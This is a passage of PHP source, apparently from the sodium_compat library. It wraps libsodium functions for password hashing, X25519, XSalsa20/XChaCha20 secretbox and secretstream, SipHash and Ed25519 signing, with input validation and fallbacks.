        if (self::use_fallback(&#039;crypto_pwhash_str&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_pwhash_str&#039;, $passwd, $opslimit, $memlimit);
        }
        // This is the best we can do.
        throw new SodiumException(
            &#039;This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP&#039;
        );
    }

    /**
     * Do we need to rehash this password?
     *
     * @param string $hash
     * @param int $opslimit
     * @param int $memlimit
     * @return bool
     * @throws SodiumException
     */
    public static function crypto_pwhash_str_needs_rehash(
        #[\SensitiveParameter]
        $hash,
        $opslimit,
        $memlimit
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($hash, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, &#039;int&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, &#039;int&#039;, 3);

        // Just grab the first 4 pieces.
        $pieces = explode(&#039;$&#039;, (string) $hash);
        $prefix = implode(&#039;$&#039;, array_slice($pieces, 0, 4));

        // Rebuild the expected header.
        /** @var int $ops */
        $ops = (int) $opslimit;
        /** @var int $mem */
        $mem = (int) $memlimit &gt;&gt; 10;
        $encoded = self::CRYPTO_PWHASH_STRPREFIX . &#039;v=19$m=&#039; . $mem . &#039;,t=&#039; . $ops . &#039;,p=1&#039;;

        // Do they match? If so, we don&#039;t need to rehash, so return false.
        return !ParagonIE_Sodium_Core_Util::hashEquals($encoded, $prefix);
    }

    /**
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_pwhash_str_verify(
        #[\SensitiveParameter]
        $passwd,
        #[\SensitiveParameter]
        $hash
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($hash, &#039;string&#039;, 2);

        if (self::useNewSodiumAPI()) {
            return (bool) sodium_crypto_pwhash_str_verify($passwd, $hash);
        }
        if (self::use_fallback(&#039;crypto_pwhash_str_verify&#039;)) {
            return (bool) call_user_func(&#039;\\Sodium\\crypto_pwhash_str_verify&#039;, $passwd, $hash);
        }
        // This is the best we can do.
        throw new SodiumException(
            &#039;This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP&#039;
        );
    }

    /**
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_pwhash_scryptsalsa208sha256(
        $outlen,
        #[\SensitiveParameter]
        $passwd,
        $salt,
        $opslimit,
        $memlimit
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($outlen, &#039;int&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($salt,  &#039;string&#039;, 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, &#039;int&#039;, 4);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, &#039;int&#039;, 5);

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_pwhash_scryptsalsa208sha256(
                (int) $outlen,
                (string) $passwd,
                (string) $salt,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        if (self::use_fallback(&#039;crypto_pwhash_scryptsalsa208sha256&#039;)) {
            return (string) call_user_func(
                &#039;\\Sodium\\crypto_pwhash_scryptsalsa208sha256&#039;,
                (int) $outlen,
                (string) $passwd,
                (string) $salt,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        // This is the best we can do.
        throw new SodiumException(
            &#039;This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP&#039;
        );
    }

    /**
     * !Exclusive to sodium_compat!
     *
     * This returns TRUE if the native crypto_pwhash API is available by libsodium.
     * This returns FALSE if only sodium_compat is available.
     *
     * @return bool
     */
    public static function crypto_pwhash_scryptsalsa208sha256_is_available()
    {
        if (self::useNewSodiumAPI()) {
            return true;
        }
        if (self::use_fallback(&#039;crypto_pwhash_scryptsalsa208sha256&#039;)) {
            return true;
        }
        return false;
    }

    /**
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_pwhash_scryptsalsa208sha256_str(
        #[\SensitiveParameter]
        $passwd,
        $opslimit,
        $memlimit
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, &#039;int&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, &#039;int&#039;, 3);

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_pwhash_scryptsalsa208sha256_str(
                (string) $passwd,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        if (self::use_fallback(&#039;crypto_pwhash_scryptsalsa208sha256_str&#039;)) {
            return (string) call_user_func(
                &#039;\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str&#039;,
                (string) $passwd,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        // This is the best we can do.
        throw new SodiumException(
            &#039;This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP&#039;
        );
    }

    /**
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_pwhash_scryptsalsa208sha256_str_verify(
        #[\SensitiveParameter]
        $passwd,
        #[\SensitiveParameter]
        $hash
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($hash, &#039;string&#039;, 2);

        if (self::useNewSodiumAPI()) {
            return (bool) sodium_crypto_pwhash_scryptsalsa208sha256_str_verify(
                (string) $passwd,
                (string) $hash
            );
        }
        if (self::use_fallback(&#039;crypto_pwhash_scryptsalsa208sha256_str_verify&#039;)) {
            return (bool) call_user_func(
                &#039;\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str_verify&#039;,
                (string) $passwd,
                (string) $hash
            );
        }
        // This is the best we can do.
        throw new SodiumException(
            &#039;This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP&#039;
        );
    }

    /**
     * Calculate the shared secret between your secret key and your
     * recipient&#039;s public key.
     *
     * Algorithm: X25519 (ECDH over Curve25519)
     *
     * @param string $secretKey
     * @param string $publicKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_scalarmult(
        #[\SensitiveParameter]
        $secretKey,
        $publicKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, &#039;string&#039;, 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException(&#039;Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException(&#039;Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_scalarmult($secretKey, $publicKey);
        }
        if (self::use_fallback(&#039;crypto_scalarmult&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_scalarmult&#039;, $secretKey, $publicKey);
        }

        /* Output validation: Forbid all-zero keys */
        if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey, str_repeat(&quot;\0&quot;, self::CRYPTO_BOX_SECRETKEYBYTES))) {
            throw new SodiumException(&#039;Zero secret key is not allowed&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::hashEquals($publicKey, str_repeat(&quot;\0&quot;, self::CRYPTO_BOX_PUBLICKEYBYTES))) {
            throw new SodiumException(&#039;Zero public key is not allowed&#039;);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::scalarmult($secretKey, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::scalarmult($secretKey, $publicKey);
    }

    /**
     * Calculate an X25519 public key from an X25519 secret key.
     *
     * @param string $secretKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress TooFewArguments
     * @psalm-suppress MixedArgument
     */
    public static function crypto_scalarmult_base(
        #[\SensitiveParameter]
        $secretKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, &#039;string&#039;, 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException(&#039;Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_scalarmult_base($secretKey);
        }
        if (self::use_fallback(&#039;crypto_scalarmult_base&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_scalarmult_base&#039;, $secretKey);
        }
        if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey, str_repeat(&quot;\0&quot;, self::CRYPTO_BOX_SECRETKEYBYTES))) {
            throw new SodiumException(&#039;Zero secret key is not allowed&#039;);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::scalarmult_base($secretKey);
        }
        return ParagonIE_Sodium_Crypto::scalarmult_base($secretKey);
    }

    /**
     * Authenticated symmetric-key encryption.
     *
     * Algorithm: XSalsa20-Poly1305
     *
     * @param string $plaintext The message you&#039;re encrypting
     * @param string $nonce A Number to be used Once; must be 24 bytes
     * @param string $key Symmetric encryption key
     * @return string           Ciphertext with Poly1305 MAC
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_secretbox(
        #[\SensitiveParameter]
        $plaintext,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException(&#039;Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException(&#039;Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_secretbox($plaintext, $nonce, $key);
        }
        if (self::use_fallback(&#039;crypto_secretbox&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_secretbox&#039;, $plaintext, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox($plaintext, $nonce, $key);
        }
        return ParagonIE_Sodium_Crypto::secretbox($plaintext, $nonce, $key);
    }

    /**
     * Decrypts a message previously encrypted with crypto_secretbox().
     *
     * @param string $ciphertext Ciphertext with Poly1305 MAC
     * @param string $nonce      A Number to be used Once; must be 24 bytes
     * @param string $key        Symmetric encryption key
     * @return string            Original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_secretbox_open(
        $ciphertext,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException(&#039;Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException(&#039;Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_secretbox_open($ciphertext, $nonce, $key);
        }
        if (self::use_fallback(&#039;crypto_secretbox_open&#039;)) {
            return call_user_func(&#039;\\Sodium\\crypto_secretbox_open&#039;, $ciphertext, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox_open($ciphertext, $nonce, $key);
        }
        return ParagonIE_Sodium_Crypto::secretbox_open($ciphertext, $nonce, $key);
    }

    /**
     * Return a secure random key for use with crypto_secretbox
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_secretbox_keygen()
    {
        return random_bytes(self::CRYPTO_SECRETBOX_KEYBYTES);
    }

    /**
     * Authenticated symmetric-key encryption.
     *
     * Algorithm: XChaCha20-Poly1305
     *
     * @param string $plaintext The message you&#039;re encrypting
     * @param string $nonce     A Number to be used Once; must be 24 bytes
     * @param string $key       Symmetric encryption key
     * @return string           Ciphertext with Poly1305 MAC
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_secretbox_xchacha20poly1305($plaintext, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException(&#039;Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException(&#039;Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.&#039;);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305($plaintext, $nonce, $key);
        }
        return ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305($plaintext, $nonce, $key);
    }
    /**
     * Decrypts a message previously encrypted with crypto_secretbox_xchacha20poly1305().
     *
     * @param string $ciphertext Ciphertext with Poly1305 MAC
     * @param string $nonce      A Number to be used Once; must be 24 bytes
     * @param string $key        Symmetric encryption key
     * @return string            Original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_secretbox_xchacha20poly1305_open(
        $ciphertext,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException(&#039;Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException(&#039;Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) &lt; self::CRYPTO_SECRETBOX_MACBYTES) {
            throw new SodiumException(&quot;Ciphertext must be at least CRYPTO_SECRETBOX_MACBYTES long&quot;);
        }

        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key);
        }
        return ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key);
    }

    /**
     * @param string $key
     * @return array&lt;int, string&gt; Returns a state and a header.
     * @throws Exception
     * @throws SodiumException
     */
    public static function crypto_secretstream_xchacha20poly1305_init_push(
        #[\SensitiveParameter]
        $key
    ) {
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_push($key);
        }
        return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_push($key);
    }

    /**
     * @param string $header
     * @param string $key
     * @return string Returns a state.
     * @throws Exception
     */
    public static function crypto_secretstream_xchacha20poly1305_init_pull(
        $header,
        #[\SensitiveParameter]
        $key
    ) {
        if (ParagonIE_Sodium_Core_Util::strlen($header) &lt; self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES) {
            throw new SodiumException(
                &#039;header size should be SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES bytes&#039;
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_pull($key, $header);
        }
        return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_pull($key, $header);
    }

    /**
     * @param string $state
     * @param string $msg
     * @param string $aad
     * @param int $tag
     * @return string
     * @throws SodiumException
     */
    public static function crypto_secretstream_xchacha20poly1305_push(
        #[\SensitiveParameter]
        &amp;$state,
        #[\SensitiveParameter]
        $msg,
        $aad = &#039;&#039;,
        $tag = 0
    ) {
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_push(
                $state,
                $msg,
                $aad,
                $tag
            );
        }
        return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_push(
            $state,
            $msg,
            $aad,
            $tag
        );
    }

    /**
     * @param string $state
     * @param string $msg
     * @param string $aad
     * @return bool|array{0: string, 1: int}
     * @throws SodiumException
     */
    public static function crypto_secretstream_xchacha20poly1305_pull(
        #[\SensitiveParameter]
        &amp;$state,
        $msg,
        $aad = &#039;&#039;
    ) {
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_pull(
                $state,
                $msg,
                $aad
            );
        }
        return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_pull(
            $state,
            $msg,
            $aad
        );
    }

    /**
     * @return string
     * @throws Exception
     */
    public static function crypto_secretstream_xchacha20poly1305_keygen()
    {
        return random_bytes(self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES);
    }

    /**
     * @param string $state
     * @return void
     * @throws SodiumException
     */
    public static function crypto_secretstream_xchacha20poly1305_rekey(
        #[\SensitiveParameter]
        &amp;$state
    ) {
        if (PHP_INT_SIZE === 4) {
            ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_rekey($state);
        } else {
            ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_rekey($state);
        }
    }

    /**
     * Calculates a SipHash-2-4 hash of a message for a given key.
     *
     * @param string $message Input message
     * @param string $key SipHash-2-4 key
     * @return string         Hash
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_shorthash(
        $message,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SHORTHASH_KEYBYTES) {
            throw new SodiumException(&#039;Argument 2 must be CRYPTO_SHORTHASH_KEYBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_shorthash($message, $key);
        }
        if (self::use_fallback(&#039;crypto_shorthash&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_shorthash&#039;, $message, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_SipHash::sipHash24($message, $key);
        }
        return ParagonIE_Sodium_Core_SipHash::sipHash24($message, $key);
    }

    /**
     * Return a secure random key for use with crypto_shorthash
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_shorthash_keygen()
    {
        return random_bytes(self::CRYPTO_SHORTHASH_KEYBYTES);
    }

    /**
     * Returns a signed message. You probably want crypto_sign_detached()
     * instead, which only returns the signature.
     *
     * Algorithm: Ed25519 (EdDSA over Curve25519)
     *
     * @param string $message Message to be signed.
     * @param string $secretKey Secret signing key.
     * @return string           Signed message (signature is prefixed).
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_sign(
        $message,
        #[\SensitiveParameter]
        $secretKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, &#039;string&#039;, 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException(&#039;Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign($message, $secretKey);
        }
        if (self::use_fallback(&#039;crypto_sign&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_sign&#039;, $message, $secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign($message, $secretKey);
        }
        return ParagonIE_Sodium_Crypto::sign($message, $secretKey);
    }

    /**
     * Validates a signed message then returns the message.
     *
     * @param string $signedMessage A signed message
     * @param string $publicKey A public key
     * @return string               The original message (if the signature is
     *                              valid for this public key)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_sign_open(
        $signedMessage,
        $publicKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($signedMessage, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, &#039;string&#039;, 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($signedMessage) &lt; self::CRYPTO_SIGN_BYTES) {
            throw new SodiumException(&#039;Argument 1 must be at least CRYPTO_SIGN_BYTES long.&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException(&#039;Argument 2 must be CRYPTO_SIGN_PUBLICKEYBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_sign_open($signedMessage, $publicKey);
        }
        if (self::use_fallback(&#039;crypto_sign_open&#039;)) {
            return call_user_func(&#039;\\Sodium\\crypto_sign_open&#039;, $signedMessage, $publicKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign_open($signedMessage, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::sign_open($signedMessage, $publicKey);
    }

    /**
     * Generate a new random Ed25519 keypair.
     *
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_sign_keypair()
    {
        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_keypair();
        }
        if (self::use_fallback(&#039;crypto_sign_keypair&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_sign_keypair&#039;);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::keypair();
        }
        return ParagonIE_Sodium_Core_Ed25519::keypair();
    }

    /**
     * @param string $sk
     * @param string $pk
     * @return string
     * @throws SodiumException
     */
    public static function crypto_sign_keypair_from_secretkey_and_publickey(
        #[\SensitiveParameter]
        $sk,
        $pk
    )  {
        ParagonIE_Sodium_Core_Util::declareScalarType($sk, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($pk, &#039;string&#039;, 1);
        $sk = (string) $sk;
        $pk = (string) $pk;

        if (ParagonIE_Sodium_Core_Util::strlen($sk) !== self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException(&#039;secretkey should be SODIUM_CRYPTO_SIGN_SECRETKEYBYTES bytes&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($pk) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException(&#039;publickey should be SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES bytes&#039;);
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_keypair_from_secretkey_and_publickey($sk, $pk);
        }
        return $sk . $pk;
    }

    /**
     * Generate an Ed25519 keypair from a seed.
     *
     * @param string $seed Input seed
     * @return string      Keypair
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_seed_keypair(
        #[\SensitiveParameter]
        $seed
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($seed, &#039;string&#039;, 1);

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_seed_keypair($seed);
        }
        if (self::use_fallback(&#039;crypto_sign_keypair&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_sign_seed_keypair&#039;, $seed);
        }
        $publicKey = &#039;&#039;;
        $secretKey = &#039;&#039;;
        if (PHP_INT_SIZE === 4) {
            ParagonIE_Sodium_Core32_Ed25519::seed_keypair($publicKey, $secretKey, $seed);
        } else {
            ParagonIE_Sodium_Core_Ed25519::seed_keypair($publicKey, $secretKey, $seed);
        }
        return $secretKey . $publicKey;
    }

    /**
     * Extract an Ed25519 public key from an Ed25519 keypair.
     *
     * @param string $keypair Keypair
     * @return string         Public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_publickey(
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, &#039;string&#039;, 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_SIGN_KEYPAIRBYTES) {
            throw new SodiumException(&#039;Argument 1 must be CRYPTO_SIGN_KEYPAIRBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_publickey($keypair);
        }
        if (self::use_fallback(&#039;crypto_sign_publickey&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_sign_publickey&#039;, $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::publickey($keypair);
        }
        return ParagonIE_Sodium_Core_Ed25519::publickey($keypair);
    }

    /**
     * Calculate an Ed25519 public key from an Ed25519 secret key.
     *
     * @param string $secretKey Your Ed25519 secret key
     * @return string           The corresponding Ed25519 public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_publickey_from_secretkey(
        #[\SensitiveParameter]
        $secretKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, &#039;string&#039;, 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException(&#039;Argument 1 must be CRYPTO_SIGN_SECRETKEYBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_publickey_from_secretkey($secretKey);
        }
        if (self::use_fallback(&#039;crypto_sign_publickey_from_secretkey&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_sign_publickey_from_secretkey&#039;, $secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::publickey_from_secretkey($secretKey);
        }
        return ParagonIE_Sodium_Core_Ed25519::publickey_from_secretkey($secretKey);
    }

    /**
     * Extract an Ed25519 secret key from an Ed25519 keypair.
     *
     * @param string $keypair Keypair
     * @return string         Secret key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_secretkey(
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, &#039;string&#039;, 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_SIGN_KEYPAIRBYTES) {
            throw new SodiumException(&#039;Argument 1 must be CRYPTO_SIGN_KEYPAIRBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_secretkey($keypair);
        }
        if (self::use_fallback(&#039;crypto_sign_secretkey&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_sign_secretkey&#039;, $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::secretkey($keypair);
        }
        return ParagonIE_Sodium_Core_Ed25519::secretkey($keypair);
    }

    /**
